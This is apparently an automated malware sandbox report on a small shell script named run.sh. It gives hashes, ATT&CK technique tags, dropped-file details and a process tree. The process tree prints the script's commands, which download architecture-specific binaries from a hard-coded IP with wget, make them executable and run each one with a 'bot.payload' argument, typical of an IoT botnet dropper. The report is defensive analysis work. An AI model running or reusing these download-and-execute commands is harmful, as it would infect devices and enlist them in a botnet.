3de040df634251cd6244247d87d80ebeebf3018e220e6ee9618d070ca3eb3371

Analysis

max time kernel
20s
max time network
19s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/05/2026, 00:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.sh
Size 748B
Sample260516-agdahsct3p
SHA256 3de040df634251cd6244247d87d80ebeebf3018e220e6ee9618d070ca3eb3371
MD5 587d0ad299fbdd43ff8808080f41a73e
SHA1 ea7a1433c6930570d6c9ddd830ce2720775ebfb9
SHA512 6d8e536f80b1a7da80690fe3c127faa8d2db7e54d8ef638f773e6b43315f8a6ab699c18f92d80725058be21937bdda72f8e44fb12f4dfc573b2b4834a082dc57
TLSH
T15701999B61B0AC706875893CFD9746B01047181768451D19709F6E04FF2CA4CF6A1656
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
820	chmod
829	chmod
679	chmod
716	chmod
742	chmod
781	chmod
793	chmod
805	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/fo4btu	680	run.sh
/tmp/9r5pew	717	run.sh
/tmp/ggltfz	743	run.sh
/tmp/y4cr98	782	run.sh
/tmp/y4cr98	792	y4cr98
/tmp/7ht8v2	794	run.sh
/tmp/7ht8v2	804	7ht8v2
/tmp/n8ydh5	806	run.sh
/tmp/n8ydh5	816	n8ydh5
/tmp/6255za	821	run.sh
/tmp/2txhde	830	run.sh

Enumerates kernel/hardware configuration 1 TTPs 9 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	7ht8v2
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	7ht8v2
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	n8ydh5
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	y4cr98
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	n8ydh5
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_period_us	n8ydh5
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	y4cr98
File opened for reading	/sys/fs/cgroup/cpu,cpuacct/system.slice/cpu.cfs_quota_us	y4cr98
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	7ht8v2

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/mountinfo	y4cr98
File opened for reading	/proc/self/auxv	y4cr98
File opened for reading	/proc/self/auxv	7ht8v2
File opened for reading	/proc/self/mountinfo	n8ydh5
File opened for reading	/proc/self/auxv	n8ydh5
File opened for reading	/proc/self/cgroup	y4cr98
File opened for reading	/proc/self/mountinfo	7ht8v2
File opened for reading	/proc/self/cgroup	7ht8v2
File opened for reading	/proc/self/cgroup	n8ydh5

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
656	wget
687	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6255za	wget
File opened for modification	/tmp/2txhde	wget
File opened for modification	/tmp/fo4btu	wget
File opened for modification	/tmp/9r5pew	wget
File opened for modification	/tmp/ggltfz	wget
File opened for modification	/tmp/y4cr98	wget
File opened for modification	/tmp/7ht8v2	wget
File opened for modification	/tmp/n8ydh5	wget

/tmp/run.sh
/tmp/run.sh
1⤵
- Executes dropped EXE
PID:647
- /usr/bin/head
  head -c 6
  2⤵
  PID:653
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:650
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:652
- /usr/bin/wget
  wget -q http://81.29.156.127/mips -O fo4btu
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:656
- /bin/chmod
  chmod +x fo4btu
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /bin/rm
  rm -f fo4btu
  2⤵
  PID:681
- /tmp/fo4btu
  ./fo4btu bot.payload
  2⤵
  PID:680
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:685
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:684
- /usr/bin/head
  head -c 6
  2⤵
  PID:686
- /usr/bin/wget
  wget -q http://81.29.156.127/mipsel -O 9r5pew
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:687
- /bin/chmod
  chmod +x 9r5pew
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /bin/rm
  rm -f 9r5pew
  2⤵
  PID:718
- /tmp/9r5pew
  ./9r5pew bot.payload
  2⤵
  PID:717
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:723
- /usr/bin/head
  head -c 6
  2⤵
  PID:724
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:722
- /usr/bin/wget
  wget -q http://81.29.156.127/x86 -O ggltfz
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x ggltfz
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /bin/rm
  rm -f ggltfz
  2⤵
  PID:744
- /tmp/ggltfz
  ./ggltfz bot.payload
  2⤵
  PID:743
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:748
- /usr/bin/head
  head -c 6
  2⤵
  PID:749
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:747
- /usr/bin/wget
  wget -q http://81.29.156.127/armv7l -O y4cr98
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod +x y4cr98
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /bin/rm
  rm -f y4cr98
  2⤵
  PID:783
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:785
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:786
- /usr/bin/head
  head -c 6
  2⤵
  PID:787
- /tmp/y4cr98
  ./y4cr98 bot.payload
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:782
- - /tmp/y4cr98
    ./y4cr98 bot.payload
    3⤵
    PID:792
- /usr/bin/wget
  wget -q http://81.29.156.127/armv6l -O 7ht8v2
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod +x 7ht8v2
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /bin/rm
  rm -f 7ht8v2
  2⤵
  PID:795
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:797
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:798
- /usr/bin/head
  head -c 6
  2⤵
  PID:799
- /tmp/7ht8v2
  ./7ht8v2 bot.payload
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:794
- - /tmp/7ht8v2
    ./7ht8v2 bot.payload
    3⤵
    PID:804
- /usr/bin/wget
  wget -q http://81.29.156.127/armv5l -O n8ydh5
  2⤵
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod +x n8ydh5
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /bin/rm
  rm -f n8ydh5
  2⤵
  PID:807
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:809
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:810
- /usr/bin/head
  head -c 6
  2⤵
  PID:811
- /tmp/n8ydh5
  ./n8ydh5 bot.payload
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:806
- - /tmp/n8ydh5
    ./n8ydh5 bot.payload
    3⤵
    PID:816
- /usr/bin/wget
  wget -q http://81.29.156.127/i686 -O 6255za
  2⤵
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod +x 6255za
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /bin/rm
  rm -f 6255za
  2⤵
  PID:822
- /tmp/6255za
  ./6255za bot.payload
  2⤵
  PID:821
- /usr/bin/head
  head -c 6
  2⤵
  PID:827
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:826
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:825
- /usr/bin/wget
  wget -q http://81.29.156.127/ppc64 -O 2txhde
  2⤵
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod +x 2txhde
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /bin/rm
  rm -f 2txhde
  2⤵
  PID:831
- /tmp/2txhde
  ./2txhde bot.payload
  2⤵
  PID:830
- /bin/sleep
  sleep 2
  2⤵
  PID:834

/bin/rm
rm -f /tmp/run.sh
1⤵
PID:833

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2txhde

Path /tmp/2txhde
Size 7.0MB
SHA256 eeefa8281c00c2febd3d2ee552f2c36ae37fcc493e562147f9b5afa92774a8a2
MD5 9bcfc59510f4209dd6b93b25481b8889
SHA1 698aa3dc75826d55f000d3dd25d49baa6864af40
SHA512 05226deb6ba73a35ae0897cf435bc3193c4a3465d0605cfc61ec5a696f46317db2a9d74dc5fe53bb213725e09b2ca516ee9eda44576490d667e53724d89fd66f
SSDEEP 49152:wYZ/SdCnVxNaPnN9a0dqNHWkyIQlTyUp5YIUiXK8PwyESHMEwOMHHUt5ER:NZnrgN9r8HWn+wTxK8PsSsEwOMnUjER
TLSH
T15D767C91FB48A136DA460A3248A70B30B3915D82C1F4C96F970AF72F59B26F7594FED0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7ht8v2

Path /tmp/7ht8v2
Size 7.1MB
SHA256 d3e61fad87acde88625d576623df292356bcfde7355c9fa97f782f52fdec5788
MD5 5daaed95ec4771214d27afc0463926c6
SHA1 149d8b9293b7b1eb1f8f34ab482927db4070bb72
SHA512 7fd2fa33f153212e475d1c7ead3219b3904e5c88f6f04936ce8715a45bd9d03af43cf78e8b0f973680090b0261280e05d3e04f37deabb480eb97db78392abf0f
SSDEEP 49152:zP6IZgzgqtv4iFKUwlsVGNvqf4Tmm5GrS+U25cO78gyqv5EkY:uIAgIPcUwlsVGNvq1cO78zqhE1
TLSH
T15C763B97B8924952C4E43A37BCBE81C432630EB99BC7565B6D04EE383EBE1D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9r5pew

Path /tmp/9r5pew
Size 7.8MB
SHA256 69c45cca395549bf1f9ff360edbe09cda646c0b511c513e6d91515085da9694b
MD5 f2408c794e63d2e1cf76a50e70e18d6b
SHA1 1b95966364c569ca195918c3a035e86062fa7734
SHA512 8d32cff2c6d8f5791276316b766db85cfec6490a4917cb90a4a42d22c20040a671202174a29cf944b36ce3b207c082ee4f93a822f20b97cf2a6023022090d1dc
SSDEEP 49152:Tmh61NZIdMpVriMF/0CQhx8wBAJxCaIE17Il8ZkFc05EI:+sLQhx8ImDOFxEI
TLSH
T1BB860905ADC53BE6C42C5E7444EACA6122B06D140AF2463A26A4FFE9BC772757F478CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fo4btu

Path /tmp/fo4btu
Size 7.8MB
SHA256 129f0c1c7baccd24623d99d7f5cde280d364404abe940ec4a3eeaa3a15f07318
MD5 d9c8c69b00c619f07518c112fd39f3a4
SHA1 6ac0d74872efdd2bde345e01f0d328539350aff8
SHA512 6a22aaf445742e7b9165a929195eecdafa30a473373ee6e40a350532336287e4f563107459d3147b40cd35273e114444ebd200fbcbe31eb3fd200e364977cd9d
SSDEEP 49152:wlVZvmsNoaASox/PGQa/jtDf5xaount+fqECXKEuXngHYJ/7FTsdiraia5pp0Zkw:WtzV0RiQ0kcP+rSi6NbnUjEr
TLSH
T118864A137A29EB0FC62821300DB2CA942B691C9642D7911BB745F309F9F21BD5DAECF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ggltfz

Path /tmp/ggltfz
Size 6.9MB
SHA256 87a053dc2a0f74dbc398bc1a81446cabbc33395e20125a78b3fb0192240f7fd1
MD5 4aaac18483b3aff93ba121b67c3b670a
SHA1 2e2922bc5d39b947dba71e7795e795c451b8784a
SHA512 114da6f34df16ee122c8db78a1ffed6858c7b20692272c2bed25b859154a0eb1c1b1e4ea7e833946a2f3b692de5528e87bfbb601f19cfca20fea0dd119cb7c33
SSDEEP 49152:pNBjP2hUIgFmCn7phTo9SDW1pBD4PvOCz2ADADtxKRg3cTD8LJSAU68EcmCLpc5G:3ghjcpBo9SnXOA7DixKmNHRpEH
TLSH
T164762711FE8B50F2E9031D3105ABB26F63325D054F29EBE3EA407F29F97B691193A149
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

n8ydh5

Path /tmp/n8ydh5
Size 7.1MB
SHA256 25620c7cd07faa860ae6777ca949a0e98108f36ff3ee3ae792959c9f4e124ead
MD5 48b11e0f53596ee42b5631cc78242450
SHA1 d004755daf6ee74fe7857fbcfa210c0b8ff3ecc0
SHA512 7854f7495b24a16f17e7f0e79eac24045fdc055d6947654795cd477a4d12f05a60dd98142243cd1da860b5cb28712419b0762de03332d68f248acf04562f1a39
SSDEEP 49152:P2FVJ8GabZTzq54aNVd9yjxj5Gea0+qrc5BeJSUP4GFsbmyWkdue5Eh:+KZTzqCazd9yjxj5Gm4GFsKV0Eh
TLSH
T19E762A97B8D14952C4E43A37B8BE81C432630EBA9BC7165B6D15EE383EBE0D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

y4cr98

Path /tmp/y4cr98
Size 6.9MB
SHA256 e5d2949cd5467e38f9e0f9b0422d64c438c4f8c0dd2cd233373ceec09c2bb071
MD5 dae99a2a423501e9e155a7315e66edbd
SHA1 8206f148904fcd75b7a7fdd0f2c9bb950990b577
SHA512 3aa9b09446bed21faa49e07035a07fff573d57938bde01450b4719eaf6f4e7cefbda9d56c342ca3f1da2aa2424c1840a4a77dc4ec9d4e24d83f08daaa44de0a0
SSDEEP 49152:7/ILDNxtVg49bZ5GE6smgs47MvSh7WNBJtTpiB+MuU5E2:7yDdVg49bZ5GE6s10HJtdiB+oE2
TLSH
T1DB761957B8924942C4E43A37B8BE81C432634EBA8BC7125B6D15FE383EBE5D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads